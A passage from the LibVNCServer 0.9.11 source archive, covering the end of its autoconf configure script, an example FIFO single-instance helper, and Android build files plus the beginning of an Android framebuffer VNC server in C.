HAVE_B64_IN_LIBRESOLV="true", HAVE_B64_IN_LIBRESOLV="false") if test "x$HAVE_B64_IN_LIBRESOLV" = "xtrue"; then RESOLV_LIB="-lresolv" HAVE_B64="true" fi else HAVE_B64="true" fi AH_TEMPLATE(WITH_WEBSOCKETS, [Disable WebSockets support]) AC_ARG_WITH(websockets, [ --without-websockets disable WebSockets support], , [ with_websockets=yes ]) # AC_DEFINE moved to after libresolve check. AH_TEMPLATE(ALLOW24BPP, [Enable 24 bit per pixel in native framebuffer]) AC_ARG_WITH(24bpp, [ --without-24bpp disable 24 bpp framebuffers], , [ with_24bpp=yes ]) if test "x$with_24bpp" = "xyes"; then AC_DEFINE(ALLOW24BPP) fi AH_TEMPLATE(FFMPEG, [Use ffmpeg (for vnc2mpg)]) AC_ARG_WITH(ffmpeg, [ --with-ffmpeg=dir set ffmpeg home directory],,) AC_SUBST(with_ffmpeg) AM_CONDITIONAL(WITH_FFMPEG, test ! -z "$with_ffmpeg") if test ! -z "$with_ffmpeg"; then AC_CHECK_LIB(mp3lame, lame_init, HAVE_MP3LAME="true", HAVE_MP3LAME="false" ) fi AM_CONDITIONAL(HAVE_MP3LAME, test "$HAVE_MP3LAME" = "true") PKG_CHECK_MODULES([LIBSYSTEMD], [libsystemd], [with_systemd=1], [with_systemd=0]) AM_CONDITIONAL([WITH_SYSTEMD], [test $with_systemd -eq 1]) # Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc. # before it seemed to be inside the with_jpeg conditional. AC_CHECK_HEADER(thenonexistentheader.h, HAVE_THENONEXISTENTHEADER_H="true") # set some ld -R nonsense # uname_s=`(uname -s) 2>/dev/null` ld_minus_R="yes" if test "x$uname_s" = "xHP-UX"; then ld_minus_R="no" elif test "x$uname_s" = "xOSF1"; then ld_minus_R="no" elif test "x$uname_s" = "xDarwin"; then ld_minus_R="no" fi # Check for OpenSSL AH_TEMPLATE(HAVE_LIBCRYPT, [libcrypt library present]) AC_ARG_WITH(crypt, [ --without-crypt disable support for libcrypt],,) if test "x$with_crypt" != "xno"; then AC_CHECK_FUNCS([crypt], HAVE_LIBC_CRYPT="true") if test -z "$HAVE_LIBC_CRYPT"; then AC_CHECK_LIB(crypt, crypt, CRYPT_LIBS="-lcrypt" [AC_DEFINE(HAVE_LIBCRYPT)], ,) fi fi AC_SUBST(CRYPT_LIBS) # some OS's need both -lssl and -lcrypto on link line: AH_TEMPLATE(HAVE_LIBCRYPTO, [openssl libcrypto library present]) AC_ARG_WITH(crypto, [ --without-crypto disable support for openssl libcrypto],,) AH_TEMPLATE(HAVE_LIBSSL, [openssl libssl library present]) AC_ARG_WITH(ssl, [ --without-ssl disable support for openssl libssl] [ --with-ssl=DIR use openssl include/library files in DIR],,) if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then saved_CPPFLAGS="$CPPFLAGS" saved_LDFLAGS="$LDFLAGS" CPPFLAGS="$CPPFLAGS -I$with_ssl/include" LDFLAGS="$LDFLAGS -L$with_ssl/lib" if test "x$ld_minus_R" = "xno"; then : elif test "x$GCC" = "xyes"; then LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib" else LDFLAGS="$LDFLAGS -R$with_ssl/lib" fi fi AC_CHECK_LIB(crypto, RAND_file_name, [AC_DEFINE(HAVE_LIBCRYPTO) HAVE_LIBCRYPTO="true"], ,) if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then if test "x$HAVE_LIBCRYPTO" != "xtrue"; then CPPFLAGS="$saved_CPPFLAGS" LDFLAGS="$saved_LDFLAGS" fi fi fi AH_TEMPLATE(HAVE_X509_PRINT_EX_FP, [open ssl X509_print_ex_fp available]) if test "x$with_ssl" != "xno"; then if test "x$HAVE_LIBCRYPTO" = "xtrue"; then AC_CHECK_LIB(ssl, SSL_library_init, SSL_LIBS="-lssl -lcrypto" [AC_DEFINE(HAVE_LIBSSL) HAVE_LIBSSL="true"], , -lcrypto) else AC_CHECK_LIB(ssl, SSL_library_init, SSL_LIBS="-lssl" [AC_DEFINE(HAVE_LIBSSL) HAVE_LIBSSL="true"], ,) fi fi AC_SUBST(SSL_LIBS) AM_CONDITIONAL(HAVE_LIBSSL, test ! -z "$SSL_LIBS") AC_ARG_WITH(jpeg, [ --without-jpeg disable support for jpeg] [ --with-jpeg=DIR use jpeg include/library files in DIR],,) # At this point: # no jpeg on command line with_jpeg="" # -with-jpeg with_jpeg="yes" # -without-jpeg with_jpeg="no" # -with-jpeg=/foo/dir with_jpeg="/foo/dir" HAVE_LIBJPEG_TURBO="false" if test "x$with_jpeg" != "xno"; then AC_ARG_VAR(JPEG_LDFLAGS, [Linker flags to use when linking with libjpeg, e.g. -L/foo/dir/lib -Wl,-static -ljpeg -Wl,-shared. This overrides the linker flags set by --with-jpeg.]) saved_CPPFLAGS="$CPPFLAGS" saved_LDFLAGS="$LDFLAGS" saved_LIBS="$LIBS" if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then # add user supplied directory to flags: CPPFLAGS="$CPPFLAGS -I$with_jpeg/include" LDFLAGS="$LDFLAGS -L$with_jpeg/lib" if test "x$ld_minus_R" = "xno"; then : elif test "x$GCC" = "xyes"; then # this is not complete... in general a rat's nest. LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib" else LDFLAGS="$LDFLAGS -R$with_jpeg/lib" fi fi if test "x$JPEG_LDFLAGS" != "x"; then LDFLAGS="$saved_LDFLAGS" LIBS="$LIBS $JPEG_LDFLAGS" else LIBS="-ljpeg" fi AC_CHECK_HEADER(jpeglib.h, HAVE_JPEGLIB_H="true") AC_MSG_CHECKING(for jpeg_CreateCompress in libjpeg) if test "x$HAVE_JPEGLIB_H" = "xtrue"; then AC_LINK_IFELSE([AC_LANG_CALL([], [jpeg_CreateCompress])], [AC_MSG_RESULT(yes); AC_DEFINE(HAVE_LIBJPEG, 1, libjpeg support enabled)], [AC_MSG_RESULT(no); HAVE_JPEGLIB_H=""]) fi if test "x$HAVE_JPEGLIB_H" != "xtrue"; then # restore old flags on failure: CPPFLAGS="$saved_CPPFLAGS" LDFLAGS="$saved_LDFLAGS" LIBS="$saved_LIBS" AC_MSG_WARN([ ========================================================================== *** The libjpeg compression library was not found. *** This may lead to reduced performance, especially over slow links. If libjpeg is in a non-standard location use --with-jpeg=DIR to indicate the header file is in DIR/include/jpeglib.h and the library in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to specify more detailed linker flags. A copy of libjpeg-turbo may be obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/ A copy of libjpeg may be obtained from: http://ijg.org/files/ ========================================================================== ]) sleep 5 fi if test "x$HAVE_JPEGLIB_H" = "xtrue"; then AC_MSG_CHECKING(whether JPEG library is libjpeg-turbo) m4_define([LJT_TEST], [AC_LANG_PROGRAM([#include #include ], [struct jpeg_compress_struct cinfo; struct jpeg_error_mgr jerr; cinfo.err=jpeg_std_error(&jerr); jpeg_create_compress(&cinfo); cinfo.input_components = 3; jpeg_set_defaults(&cinfo); cinfo.in_color_space = JCS_EXT_RGB; jpeg_default_colorspace(&cinfo); return 0;])] ) if test "x$cross_compiling" != "xyes"; then AC_RUN_IFELSE([LJT_TEST], [HAVE_LIBJPEG_TURBO="true"; AC_MSG_RESULT(yes)], [AC_MSG_RESULT(no)]) else AC_LINK_IFELSE([LJT_TEST], [HAVE_LIBJPEG_TURBO="true"; AC_MSG_RESULT(yes)], [AC_MSG_RESULT(no)]) fi fi if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then AC_MSG_WARN([ ========================================================================== *** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ *** ========================================================================== ]) fi fi AC_ARG_WITH(png, [ --without-png disable support for png] [ --with-png=DIR use png include/library files in DIR],,) # At this point: # no png on command line with_png="" # -with-png with_png="yes" # -without-png with_png="no" # -with-png=/foo/dir with_png="/foo/dir" if test "x$with_png" != "xno"; then if test ! -z "$with_png" -a "x$with_png" != "xyes"; then # add user supplied directory to flags: saved_CPPFLAGS="$CPPFLAGS" saved_LDFLAGS="$LDFLAGS" CPPFLAGS="$CPPFLAGS -I$with_png/include" LDFLAGS="$LDFLAGS -L$with_png/lib" if test "x$ld_minus_R" = "xno"; then : elif test "x$GCC" = "xyes"; then # this is not complete... in general a rat's nest. LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib" else LDFLAGS="$LDFLAGS -R$with_png/lib" fi fi AC_CHECK_HEADER(png.h, HAVE_PNGLIB_H="true") if test "x$HAVE_PNGLIB_H" = "xtrue"; then AC_CHECK_LIB(png, png_create_write_struct, , HAVE_PNGLIB_H="") fi if test ! -z "$with_png" -a "x$with_png" != "xyes"; then if test "x$HAVE_PNGLIB_H" != "xtrue"; then # restore old flags on failure: CPPFLAGS="$saved_CPPFLAGS" LDFLAGS="$saved_LDFLAGS" fi fi if test "x$HAVE_PNGLIB_H" != "xtrue"; then AC_MSG_WARN([ ========================================================================== *** The libpng compression library was not found. *** This may lead to reduced performance, especially over slow links. If libpng is in a non-standard location use --with-png=DIR to indicate the header file is in DIR/include/png.h and the library in DIR/lib/libpng.a. A copy of libpng may be obtained from: http://www.libpng.org/pub/png/libpng.html ========================================================================== ]) sleep 5 fi fi AC_ARG_WITH(libz, [ --without-libz disable support for deflate],,) AC_ARG_WITH(zlib, [ --without-zlib disable support for deflate] [ --with-zlib=DIR use zlib include/library files in DIR],,) if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then saved_CPPFLAGS="$CPPFLAGS" saved_LDFLAGS="$LDFLAGS" CPPFLAGS="$CPPFLAGS -I$with_zlib/include" LDFLAGS="$LDFLAGS -L$with_zlib/lib" if test "x$ld_minus_R" = "xno"; then : elif test "x$GCC" = "xyes"; then LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib" else LDFLAGS="$LDFLAGS -R$with_zlib/lib" fi fi AC_CHECK_HEADER(zlib.h, HAVE_ZLIB_H="true") if test "x$HAVE_ZLIB_H" = "xtrue"; then AC_CHECK_LIB(z, deflate, , HAVE_ZLIB_H="") fi if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then if test "x$HAVE_ZLIB_H" != "xtrue"; then CPPFLAGS="$saved_CPPFLAGS" LDFLAGS="$saved_LDFLAGS" fi fi if test "x$HAVE_ZLIB_H" != "xtrue"; then AC_MSG_WARN([ ========================================================================== *** The libz compression library was not found. *** This may lead to reduced performance, especially over slow links. If libz is in a non-standard location use --with-zlib=DIR to indicate the header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a. A copy of libz may be obtained from: http://www.gzip.org/zlib/ ========================================================================== ]) sleep 5 fi fi AC_ARG_WITH(pthread, [ --without-pthread disable support for libpthread],,) if test "x$with_pthread" != "xno"; then AC_CHECK_HEADER(pthread.h, HAVE_PTHREAD_H="true") if test ! -z "$HAVE_PTHREAD_H"; then AC_CHECK_LIB(pthread, pthread_mutex_lock) AC_CHECK_LIB(pthread, pthread_mutex_lock, HAVE_LIBPTHREAD="true") fi fi AM_CONDITIONAL(HAVE_LIBPTHREAD, test ! -z "$HAVE_LIBPTHREAD") AC_MSG_CHECKING([for __thread]) AC_LINK_IFELSE([AC_LANG_PROGRAM(, [static __thread int p = 0])], [AC_DEFINE(HAVE_TLS, 1, Define to 1 if compiler supports __thread) AC_MSG_RESULT([yes])], [AC_MSG_RESULT([no])]) # tightvnc-filetransfer implemented using threads: if test -z "$HAVE_LIBPTHREAD"; then with_tightvnc_filetransfer="" fi if test "x$with_tightvnc_filetransfer" = "xyes"; then AC_DEFINE(WITH_TIGHTVNC_FILETRANSFER) fi AM_CONDITIONAL(WITH_TIGHTVNC_FILETRANSFER, test "$with_tightvnc_filetransfer" = "yes") # websockets implemented using base64 from resolve if test "x$HAVE_B64" != "xtrue"; then with_websockets="" fi if test "x$with_websockets" = "xyes"; then LIBS="$LIBS $RESOLV_LIB $SSL_LIBS" AC_DEFINE(WITH_WEBSOCKETS) fi AM_CONDITIONAL(WITH_WEBSOCKETS, test "$with_websockets" = "yes") AM_CONDITIONAL(HAVE_LIBZ, test ! -z "$HAVE_ZLIB_H") AM_CONDITIONAL(HAVE_LIBJPEG, test ! -z "$HAVE_JPEGLIB_H") AM_CONDITIONAL(HAVE_LIBPNG, test ! -z "$HAVE_PNGLIB_H") SDLCONFIG="sdl-config" AC_ARG_WITH(sdl-config, [[ --with-sdl-config=FILE Use the given path to sdl-config when determining SDL configuration; defaults to "sdl-config"]], [ if test "$withval" != "yes" -a "$withval" != ""; then SDLCONFIG=$withval fi ]) if test -z "$with_sdl"; then if $SDLCONFIG --version >/dev/null 2>&1; then with_sdl=yes SDL_CFLAGS=`$SDLCONFIG --cflags` SDL_LIBS=`$SDLCONFIG --libs` else with_sdl=no fi fi AM_CONDITIONAL(HAVE_LIBSDL, test "x$with_sdl" = "xyes") AC_SUBST(SDL_CFLAGS) AC_SUBST(SDL_LIBS) # Check for GTK+. if present, build the GTK+ vnc viewer example PKG_CHECK_MODULES([GTK], [gtk+-2.0],,:) AM_CONDITIONAL(HAVE_LIBGTK, test ! -z "$GTK_LIBS") AC_CANONICAL_HOST MINGW=`echo $host_os | grep mingw32 2>/dev/null` AM_CONDITIONAL(MINGW, test ! -z "$MINGW" ) if test ! -z "$MINGW"; then WSOCKLIB="-lws2_32" fi AC_SUBST(WSOCKLIB) # Check for libgcrypt AH_TEMPLATE(WITH_CLIENT_GCRYPT, [Enable support for libgcrypt in libvncclient]) AC_ARG_WITH(gcrypt, [ --without-gcrypt disable support for gcrypt],,) AC_ARG_WITH(client-gcrypt, [ --without-client-gcrypt disable support for gcrypt in libvncclient],,) if test "x$with_gcrypt" != "xno"; then AM_PATH_LIBGCRYPT(1.4.0, , with_client_gcrypt=no) CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS" LIBS="$LIBS $LIBGCRYPT_LIBS" if test "x$with_client_gcrypt" != "xno"; then AC_DEFINE(WITH_CLIENT_GCRYPT) fi fi # Checks for GnuTLS AH_TEMPLATE(HAVE_GNUTLS, [GnuTLS library present]) AC_ARG_WITH(gnutls, [ --without-gnutls disable support for gnutls] [ --with-gnutls=DIR use gnutls include/library files in DIR],,) if test "x$with_gnutls" != "xno"; then PKG_CHECK_MODULES(GNUTLS, gnutls >= 2.4.0,,:) CFLAGS="$CFLAGS $GNUTLS_CFLAGS" LIBS="$LIBS $GNUTLS_LIBS" fi AM_CONDITIONAL(HAVE_GNUTLS, test ! -z "$GNUTLS_LIBS") if test ! -z "$GNUTLS_LIBS" ; then AC_DEFINE(HAVE_GNUTLS) fi # warn if neither GnuTLS nor OpenSSL are available if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then AC_MSG_WARN([ ========================================================================== *** No encryption library could be found. *** A libvncserver/libvncclient built this way will not support SSL encryption. To enable SSL install the necessary development packages (perhaps it is named something like libssl-dev or gnutls-dev) and run configure again. ========================================================================== ]) sleep 5 fi # IPv6 AH_TEMPLATE(IPv6, [Enable IPv6 support]) AC_ARG_WITH(ipv6, [ --without-ipv6 disable IPv6 support],,) if test "x$with_ipv6" != "xno"; then AC_CHECK_FUNC(getaddrinfo, AC_DEFINE(IPv6,1), AC_CHECK_LIB(socket, getaddrinfo, AC_DEFINE(IPv6,1), [ AC_MSG_CHECKING([for getaddrinfo in -lws2_32]) LIBS="$LIBS -lws2_32" AC_TRY_LINK([#include ], [getaddrinfo(0, 0, 0, 0);], [ AC_DEFINE(IPv6,1) AC_MSG_RESULT([yes]) ], AC_MSG_RESULT([no])) ])) fi # Checks for header files. AC_HEADER_STDC AC_CHECK_HEADERS([arpa/inet.h endian.h fcntl.h netdb.h netinet/in.h stdlib.h stdint.h string.h sys/endian.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h]) # Checks for typedefs, structures, and compiler characteristics. AC_C_CONST AC_C_INLINE AC_TYPE_SIZE_T AC_HEADER_TIME AC_HEADER_SYS_WAIT AX_TYPE_SOCKLEN_T AC_CACHE_CHECK([for in_addr_t], vnc_cv_inaddrt, [ AC_TRY_COMPILE([#include #include ], [in_addr_t foo; return 0;], [inaddrt=yes], [inaddrt=no]), ]) AH_TEMPLATE(NEED_INADDR_T, [Need a typedef for in_addr_t]) if test $inaddrt = no ; then AC_DEFINE(NEED_INADDR_T) fi # Checks for library functions. AC_FUNC_MEMCMP AC_FUNC_STAT AC_FUNC_STRFTIME AC_FUNC_VPRINTF AC_FUNC_FORK AC_CHECK_LIB(nsl,gethostbyname) AC_CHECK_LIB(socket,socket) uname_s=`(uname -s) 2>/dev/null` if test "x$uname_s" = "xHP-UX"; then # need -lsec for getspnam() LDFLAGS="$LDFLAGS -lsec" fi AC_CHECK_FUNCS([ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr]) # check, if shmget is in cygipc.a AC_CHECK_LIB(cygipc,shmget) AM_CONDITIONAL(CYGIPC, test "$HAVE_CYGIPC" = "true") # Check if /usr/include/linux exists, if so, define LINUX AM_CONDITIONAL(LINUX, test -d /usr/include/linux) # Check for OS X specific header AC_CHECK_HEADER(ApplicationServices/ApplicationServices.h, HAVE_OSX="true") AM_CONDITIONAL(OSX, test "$HAVE_OSX" = "true") # Check for Android specific header AC_CHECK_HEADER(android/api-level.h, HAVE_ANDROID="true") AM_CONDITIONAL(ANDROID, test "$HAVE_ANDROID" = "true") if test "$HAVE_ANDROID" = "true"; then AC_DEFINE(HAVE_ANDROID, 1, [Android host system detected]) fi # On Solaris 2.7, write() returns ENOENT when it really means EAGAIN AH_TEMPLATE(ENOENT_WORKAROUND, [work around when write() returns ENOENT but does not mean it]) case `(uname -sr) 2>/dev/null` in "SunOS 5.7") AC_DEFINE(ENOENT_WORKAROUND) ;; esac # Check for rpm SOURCES path printf "checking for rpm sources path... " RPMSOURCEDIR="NOT-FOUND" for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do if test -d /usr/src/${directory}/SOURCES; then RPMSOURCEDIR="/usr/src/${directory}/SOURCES/" fi done echo "$RPMSOURCEDIR" AM_CONDITIONAL(HAVE_RPM, test "$RPMSOURCEDIR" != "NOT-FOUND") AC_SUBST(RPMSOURCEDIR) AC_CONFIG_FILES([Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec]) AC_CONFIG_COMMANDS([chmod-libvncserver-config],[chmod a+x libvncserver-config]) AC_OUTPUT chmod a+x ./libvncserver-config libvncserver-LibVNCServer-0.9.11/examples/000077500000000000000000000000001303145525000203645ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/examples/1instance.c000066400000000000000000000054071303145525000224230ustar00rootroot00000000000000#include #include #include #include #include #include #include typedef struct { char* filename; /* this file is the pipe (set by user) */ char is_server; /* this is set by open_control_file */ int fd; /* this is set by open_control_file */ } single_instance_struct; /* returns fd, is_server is set to -1 if server, 0 if client */ int open_control_file(single_instance_struct* str) { struct stat buf; if(stat(str->filename,&buf)) { mkfifo(str->filename,128|256); str->is_server=-1; str->fd=open(str->filename,O_NONBLOCK|O_RDONLY); } else { str->fd=open(str->filename,O_NONBLOCK|O_WRONLY); if(errno==ENXIO) { str->is_server=-1; str->fd=open(str->filename,O_NONBLOCK|O_RDONLY); } else str->is_server=0; } return(str->fd); } void delete_control_file(single_instance_struct* str) { remove(str->filename); } void close_control_file(single_instance_struct* str) { close(str->fd); } typedef void (*event_dispatcher)(char* message); int get_next_message(char* buffer,int len,single_instance_struct* str,int usecs) { struct timeval tv; fd_set fdset; int num_fds; FD_ZERO(&fdset); FD_SET(str->fd,&fdset); tv.tv_sec=0; tv.tv_usec=usecs; num_fds=select(str->fd+1,&fdset,NULL,NULL,&tv); if(num_fds) { int reallen; reallen=read(str->fd,buffer,len); if(reallen==0) { close(str->fd); str->fd=open(str->filename,O_NONBLOCK|O_RDONLY); num_fds--; } buffer[reallen]=0; #ifdef DEBUG_1INSTANCE if(reallen!=0) rfbLog("message received: %s.\n",buffer); #endif } return(num_fds); } int dispatch_event(single_instance_struct* str,event_dispatcher dispatcher,int usecs) { char buffer[1024]; int num_fds; if((num_fds=get_next_message(buffer,1024,str,usecs)) && buffer[0]) dispatcher(buffer); return(num_fds); } int loop_if_server(single_instance_struct* str,event_dispatcher dispatcher) { open_control_file(str); if(str->is_server) { while(1) dispatch_event(str,dispatcher,50); } return(str->fd); } void send_message(single_instance_struct* str,char* message) { #ifdef DEBUG_1INSTANCE int i= #endif write(str->fd,message,strlen(message)); #ifdef DEBUG_1INSTANCE rfbLog("send: %s => %d(%d)\n",message,i,strlen(message)); #endif } #ifdef DEBUG_MAIN #include #include single_instance_struct str1 = { "/tmp/1instance" }; void my_dispatcher(char* message) { #ifdef DEBUG_1INSTANCE rfbLog("Message arrived: %s.\n",message); #endif if(!strcmp(message,"quit")) { delete_control_file(str1); exit(0); } } int main(int argc,char** argv) { int i; loop_if_server(str1,my_dispatcher); for(i=1;i/docs/STANDALONE-TOOLCHAIN.html. 2. Setup your toolchain according to step 3 in the above file. 3. Execute ./configure --host=arm-eabi CC=arm-linux-androideabi-gcc in the LibVNCServer root directory. 4. Execute make in the LibVNCServer root directory. This will build the whole LibVNCServer distribution for Android, including androidvncserver. Building with the NDK build system ---------------------------------- This is probably easier than the autotools method, but you'll have to edit some files manually. 1. Edit rfb/rfbconfig.h to match your Android target. For instance, comment out LIBVNCSERVER_HAVE_LIBJPEG if you don't have libjpeg for Android. 2. Edit the HAVE_X variables in jni/Android.mk accordingly. 3. Execute ndk-build -C . in the examples/android directory. The resulting binary will be in libs/. Installing && Running --------------------- This can be done via adb push androidvncserver /data/local/ adb shell /data/local/androidvncserver libvncserver-LibVNCServer-0.9.11/examples/android/jni/000077500000000000000000000000001303145525000225645ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/examples/android/jni/Android.mk000066400000000000000000000035671303145525000245100ustar00rootroot00000000000000LOCAL_PATH:= $(call my-dir) include $(CLEAR_VARS) LIBVNCSERVER_ROOT:=../../.. HAVE_LIBZ=1 #HAVE_LIBJPEG=1 ifdef HAVE_LIBZ ZLIBSRCS := \ $(LIBVNCSERVER_ROOT)/libvncserver/zlib.c \ $(LIBVNCSERVER_ROOT)/libvncserver/zrle.c \ $(LIBVNCSERVER_ROOT)/libvncserver/zrleoutstream.c \ $(LIBVNCSERVER_ROOT)/libvncserver/zrlepalettehelper.c \ $(LIBVNCSERVER_ROOT)/common/zywrletemplate.c ifdef HAVE_LIBJPEG TIGHTSRCS := $(LIBVNCSERVER_ROOT)/libvncserver/tight.c endif endif LOCAL_SRC_FILES:= \ fbvncserver.c \ $(LIBVNCSERVER_ROOT)/libvncserver/main.c \ $(LIBVNCSERVER_ROOT)/libvncserver/rfbserver.c \ $(LIBVNCSERVER_ROOT)/libvncserver/rfbregion.c \ $(LIBVNCSERVER_ROOT)/libvncserver/auth.c \ $(LIBVNCSERVER_ROOT)/libvncserver/sockets.c \ $(LIBVNCSERVER_ROOT)/libvncserver/stats.c \ $(LIBVNCSERVER_ROOT)/libvncserver/corre.c \ $(LIBVNCSERVER_ROOT)/libvncserver/hextile.c \ $(LIBVNCSERVER_ROOT)/libvncserver/rre.c \ $(LIBVNCSERVER_ROOT)/libvncserver/translate.c \ $(LIBVNCSERVER_ROOT)/libvncserver/cutpaste.c \ $(LIBVNCSERVER_ROOT)/libvncserver/httpd.c \ $(LIBVNCSERVER_ROOT)/libvncserver/cursor.c \ $(LIBVNCSERVER_ROOT)/libvncserver/font.c \ $(LIBVNCSERVER_ROOT)/libvncserver/draw.c \ $(LIBVNCSERVER_ROOT)/libvncserver/selbox.c \ $(LIBVNCSERVER_ROOT)/common/d3des.c \ $(LIBVNCSERVER_ROOT)/common/vncauth.c \ $(LIBVNCSERVER_ROOT)/libvncserver/cargs.c \ $(LIBVNCSERVER_ROOT)/common/minilzo.c \ $(LIBVNCSERVER_ROOT)/libvncserver/ultra.c \ $(LIBVNCSERVER_ROOT)/libvncserver/scale.c \ $(ZLIBSRCS) \ $(TIGHTSRCS) LOCAL_C_INCLUDES := \ $(LOCAL_PATH) \ $(LOCAL_PATH)/$(LIBVNCSERVER_ROOT)/libvncserver \ $(LOCAL_PATH)/$(LIBVNCSERVER_ROOT)/common \ $(LOCAL_PATH)/$(LIBVNCSERVER_ROOT) \ external/jpeg ifdef HAVE_LIBZ LOCAL_SHARED_LIBRARIES := libz LOCAL_LDLIBS := -lz endif ifdef HAVE_LIBJPEG LOCAL_STATIC_LIBRARIES := libjpeg endif LOCAL_MODULE:= androidvncserver include $(BUILD_EXECUTABLE) libvncserver-LibVNCServer-0.9.11/examples/android/jni/fbvncserver.c000066400000000000000000000343021303145525000252570ustar00rootroot00000000000000/* * $Id$ * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2, or (at your option) any * later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * This project is an adaptation of the original fbvncserver for the iPAQ * and Zaurus. */ #include #include #include #include #include #include #include #include /* For makedev() */ #include #include #include #include #include /* libvncserver */ #include "rfb/rfb.h" #include "rfb/keysym.h" /*****************************************************************************/ /* Android does not use /dev/fb0. */ #define FB_DEVICE "/dev/graphics/fb0" static char KBD_DEVICE[256] = "/dev/input/event3"; static char TOUCH_DEVICE[256] = "/dev/input/event1"; static struct fb_var_screeninfo scrinfo; static int fbfd = -1; static int kbdfd = -1; static int touchfd = -1; static unsigned short int *fbmmap = MAP_FAILED; static unsigned short int *vncbuf; static unsigned short int *fbbuf; /* Android already has 5900 bound natively. */ #define VNC_PORT 5901 static rfbScreenInfoPtr vncscr; static int xmin, xmax; static int ymin, ymax; /* No idea, just copied from fbvncserver as part of the frame differerencing * algorithm. I will probably be later rewriting all of this. */ static struct varblock_t { int min_i; int min_j; int max_i; int max_j; int r_offset; int g_offset; int b_offset; int rfb_xres; int rfb_maxy; } varblock; /*****************************************************************************/ static void keyevent(rfbBool down, rfbKeySym key, rfbClientPtr cl); static void ptrevent(int buttonMask, int x, int y, rfbClientPtr cl); /*****************************************************************************/ static void init_fb(void) { size_t pixels; size_t bytespp; if ((fbfd = open(FB_DEVICE, O_RDONLY)) == -1) { printf("cannot open fb device %s\n", FB_DEVICE); exit(EXIT_FAILURE); } if (ioctl(fbfd, FBIOGET_VSCREENINFO, &scrinfo) != 0) { printf("ioctl error\n"); exit(EXIT_FAILURE); } pixels = scrinfo.xres * scrinfo.yres; bytespp = scrinfo.bits_per_pixel / 8; fprintf(stderr, "xres=%d, yres=%d, xresv=%d, yresv=%d, xoffs=%d, yoffs=%d, bpp=%d\n", (int)scrinfo.xres, (int)scrinfo.yres, (int)scrinfo.xres_virtual, (int)scrinfo.yres_virtual, (int)scrinfo.xoffset, (int)scrinfo.yoffset, (int)scrinfo.bits_per_pixel); fbmmap = mmap(NULL, pixels * bytespp, PROT_READ, MAP_SHARED, fbfd, 0); if (fbmmap == MAP_FAILED) { printf("mmap failed\n"); exit(EXIT_FAILURE); } } static void cleanup_fb(void) { if(fbfd != -1) { close(fbfd); } } static void init_kbd() { if((kbdfd = open(KBD_DEVICE, O_RDWR)) == -1) { printf("cannot open kbd device %s\n", KBD_DEVICE); exit(EXIT_FAILURE); } } static void cleanup_kbd() { if(kbdfd != -1) { close(kbdfd); } } static void init_touch() { struct input_absinfo info; if((touchfd = open(TOUCH_DEVICE, O_RDWR)) == -1) { printf("cannot open touch device %s\n", TOUCH_DEVICE); exit(EXIT_FAILURE); } // Get the Range of X and Y if(ioctl(touchfd, EVIOCGABS(ABS_X), &info)) { printf("cannot get ABS_X info, %s\n", strerror(errno)); exit(EXIT_FAILURE); } xmin = info.minimum; xmax = info.maximum; if(ioctl(touchfd, EVIOCGABS(ABS_Y), &info)) { printf("cannot get ABS_Y, %s\n", strerror(errno)); exit(EXIT_FAILURE); } ymin = info.minimum; ymax = info.maximum; } static void cleanup_touch() { if(touchfd != -1) { close(touchfd); } } /*****************************************************************************/ static void init_fb_server(int argc, char **argv) { printf("Initializing server...\n"); /* Allocate the VNC server buffer to be managed (not manipulated) by * libvncserver. */ vncbuf = calloc(scrinfo.xres * scrinfo.yres, scrinfo.bits_per_pixel / 8); assert(vncbuf != NULL); /* Allocate the comparison buffer for detecting drawing updates from frame * to frame. */ fbbuf = calloc(scrinfo.xres * scrinfo.yres, scrinfo.bits_per_pixel / 8); assert(fbbuf != NULL); /* TODO: This assumes scrinfo.bits_per_pixel is 16. */ vncscr = rfbGetScreen(&argc, argv, scrinfo.xres, scrinfo.yres, 5, 2, (scrinfo.bits_per_pixel / 8)); assert(vncscr != NULL); vncscr->desktopName = "Android"; vncscr->frameBuffer = (char *)vncbuf; vncscr->alwaysShared = TRUE; vncscr->httpDir = NULL; vncscr->port = VNC_PORT; vncscr->kbdAddEvent = keyevent; vncscr->ptrAddEvent = ptrevent; rfbInitServer(vncscr); /* Mark as dirty since we haven't sent any updates at all yet. */ rfbMarkRectAsModified(vncscr, 0, 0, scrinfo.xres, scrinfo.yres); /* No idea. */ varblock.r_offset = scrinfo.red.offset + scrinfo.red.length - 5; varblock.g_offset = scrinfo.green.offset + scrinfo.green.length - 5; varblock.b_offset = 